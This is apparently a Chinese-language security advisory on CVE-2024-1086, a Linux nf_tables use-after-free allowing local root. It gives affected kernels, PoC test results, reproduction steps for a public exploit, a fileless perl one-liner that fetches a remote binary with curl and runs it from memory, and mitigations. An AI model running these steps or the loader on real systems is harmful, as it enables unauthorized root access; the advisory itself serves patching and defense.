Linux Kernel nf_tables 本地权限提升漏洞(CVE-2024-1086)

文章目录


前言

2024年1月,各Linux发行版官方发布漏洞公告,修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞(CVE-2024-1086)。鉴于该漏洞易于利用,并且允许本地攻击者提升至root权限。


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、netfilter介绍

​netfilter是Linux内核的一个子系统,允许实现各种网络相关操作,如数据包过滤、网络地址转换(NAT)和端口转换。而nf_tables是netfilter的一部分,用于定义和管理防火墙规则。

二、漏洞成因

Linux内核版本v5.14 - v6.6的netfilter 子系统nf_tables组件中存在释放后使用漏洞,由于在nft_verdict_init()函数中,允许正值作为hook判决中的丢弃错误,因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时,nf_hook_slow()函数可能会导致双重释放漏洞,本地低权限威胁者可利用该漏洞将权限提升为root。

三、漏洞危害

该漏洞可以被本地攻击者利用,从普通用户提升到ROOT用户权限。

四、影响范围

该漏洞影响了使用Linux内核版本v5.14 - v6.6 版本(不包括分支修补版本 v5.15.149、v6.1.76和v6.6.15)的大多数 Linux系统/内核,包括CentOS、Debian、Ubuntu和 KernelCTF等。

部分内核版本PoC/EXP测试结果如下:

Kernel Kernel Version Distro Distro Version Working/Fail CPU Platform CPU Cores RAM Size Fail Reason Test Status Config URL
Linux v5.4.270 n/a n/a fail QEMU x86_64 8 16GiB [CODE] pre-dated nft code (denies rule alloc) final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config
Linux v5.10.209 n/a n/a fail QEMU x86_64 8 16GiB [TCHNQ] BUG mm/slub.c:4118 final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config
Linux v5.14.21 n/a n/a working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config
Linux v5.15.148 n/a n/a working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config
Linux v5.16.20 n/a n/a working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config
Linux v5.17.15 n/a n/a working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config
Linux v5.18.19 n/a n/a working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config
Linux v5.19.17 n/a n/a working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config
Linux v6.0.19 n/a n/a working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config
Linux v6.1.55 KernelCTF Mitigation v3 working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config
Linux v6.1.69 Debian Bookworm 6.1.0-17 working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config
Linux v6.1.69 Debian Bookworm 6.1.0-17 working AMD Ryzen 5 7640U 6 32GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config
Linux v6.1.72 KernelCTF LTS working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config
Linux v6.2.? Ubuntu Jammy v6.2.0-37 working AMD Ryzen 5 7640U 6 32GiB n/a final
Linux v6.2.16 n/a n/a working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config
Linux v6.3.13 n/a n/a working QEMU x86_64 8 16GiB n/a final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config
Linux v6.4.16 n/a n/a fail QEMU x86_64 8 16GiB [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config
Linux v6.5.3 Ubuntu Jammy v6.5.0-15 fail QEMU x86_64 8 16GiB [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config
Linux v6.5.13 n/a n/a fail QEMU x86_64 8 16GiB [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config
Linux v6.6.14 n/a n/a fail QEMU x86_64 8 16GiB [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config
Linux v6.7.1 n/a n/a fail QEMU x86_64 8 16GiB [CODE] nft verdict value incorrect is altered by kernel final https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config

注意事项:

​(1)该漏洞不适用于带有 kconfig 的 v6.4> 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y(包括 Ubuntu v6.5)

​(2)该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NS=y),这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone= 1),并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLES=y)。默认情况下,这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试,但可能也可以工作。此外,该漏洞仅在 x64/amd64 上进行了测试。

​(3)在具有大量网络活动的系统上, 该漏洞可能非常不稳定

  • 带有 WiFi 适配器的系统,当被高使用率 WiFi 网络包围时,会非常不稳定。
  • 在测试设备上,请通过 BIOS 关闭 WiFi 适配器。

(4)运行漏洞后的内核恐慌(系统崩溃)是一种副作用,没有故意修复以防止恶意使用漏洞(即,漏洞利用尝试现在应该更引人注目,并且在实际操作中不切实际)。尽管如此,它仍然允许在实验室环境中进行有效的概念验证,因为根 shell 可以正常工作,并且可以通过磁盘进行持久化。

配置

默认值应该可以在 DebianUbuntuKernelCTF 上使用本地 shell 开箱即用。在未经测试的设置/发行版上,请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h。如果您在物理内存超过 32GiB 的计算机上运行该漏洞,请确保增加CONFIG_PHYS_MEM.如果您通过 SSH(进入测试机器)或反向 shell 运行漏洞利用程序,您可能需要切换CONFIG_REDIRECT_LOG1避免不必要的网络活动。

五、漏洞复现

公开EXP/POC

#拉取项目并编译
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
#然后运行
./exploit

该项目还支持无落地文件的方法去使用,不过需要目标存在perl的前提

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

六、修复方案

临时解决方案

1、通过防止加载受影响的 nf_tables 内核模块可以缓解此漏洞,在禁用之前,需要仔细评估确认禁用该模块带来的影响,例如:iptables 可能需要 nf_tables 模块才能工作。

RedHat/CentOS:

# echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# dracut -f
# reboot 重启后即可禁用

Debian/Ubuntu:

# sudo echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# sudo update-initramfs -u
# reboot 重启后即可禁用

2、如果无法禁用 nf_tables 内核模块,在系统上没有运行任何容器的情况下,可以通过禁用用户命名空间来缓解漏洞。在禁用之前,需要仔细评估并确认禁用所带来的影响,例如:许多容器实现需要使用 user_namespaces 来增强安全性和隔离性。

RedHat/CentOS:

# echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
# sysctl -p /etc/sysctl.d/userns.conf

Debian/Ubuntu:

如果不需要,可禁用非特权用户创建命名空间的能力。临时禁用执行以下命令:

# sudo sysctl -w kernel.unprivileged_userns_clone=0

重启后仍然禁用:

# echo kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf

升级修复方案

目前该漏洞已经修复,受影响用户可升级到Linux内核v5.15.149v6.1.76v6.6.15或更高版本。

相关发行版本已发布漏洞公告,可参考漏洞公告升级对应的Linux内核。

Ubuntu公告:https://ubuntu.com/security/CVE-2024-1086

CentOS漏洞公告:https://lists.centos.org/pipermail/centos-announce/2024-March/099235.html

RedHat漏洞公告:https://access.redhat.com/security/cve/cve-2024-1086

Debian漏洞公告:https://security-tracker.debian.org/tracker/CVE-2024-1086

统信漏洞公告:https://src.uniontech.com/#/security_advisory_detail?utsa_id=UTSA-2024-000633

麒麟漏洞公告:https://kylinos.cn/support/loophole/patch/5561.html

相关推荐
watermelonoops18 分钟前
Deepin和Windows传文件(Xftp,WinSCP)
linux·ssh·deepin·winscp·xftp
疯狂飙车的蜗牛1 小时前
从零玩转CanMV-K230(4)-小核Linux驱动开发参考
linux·运维·驱动开发
远游客07133 小时前
centos stream 8下载安装遇到的坑
linux·服务器·centos
马甲是掉不了一点的<.<3 小时前
本地电脑使用命令行上传文件至远程服务器
linux·scp·cmd·远程文件上传
jingyu飞鸟3 小时前
centos-stream9系统安装docker
linux·docker·centos
超爱吃士力架4 小时前
邀请逻辑
java·linux·后端
cominglately6 小时前
centos单机部署seata
linux·运维·centos
魏 无羡6 小时前
linux CentOS系统上卸载docker
linux·kubernetes·centos
CircleMouse7 小时前
Centos7, 使用yum工具,出现 Could not resolve host: mirrorlist.centos.org
linux·运维·服务器·centos
木子Linux7 小时前
【Linux打怪升级记 | 问题01】安装Linux系统忘记设置时区怎么办?3个方法教你回到东八区
linux·运维·服务器·centos·云计算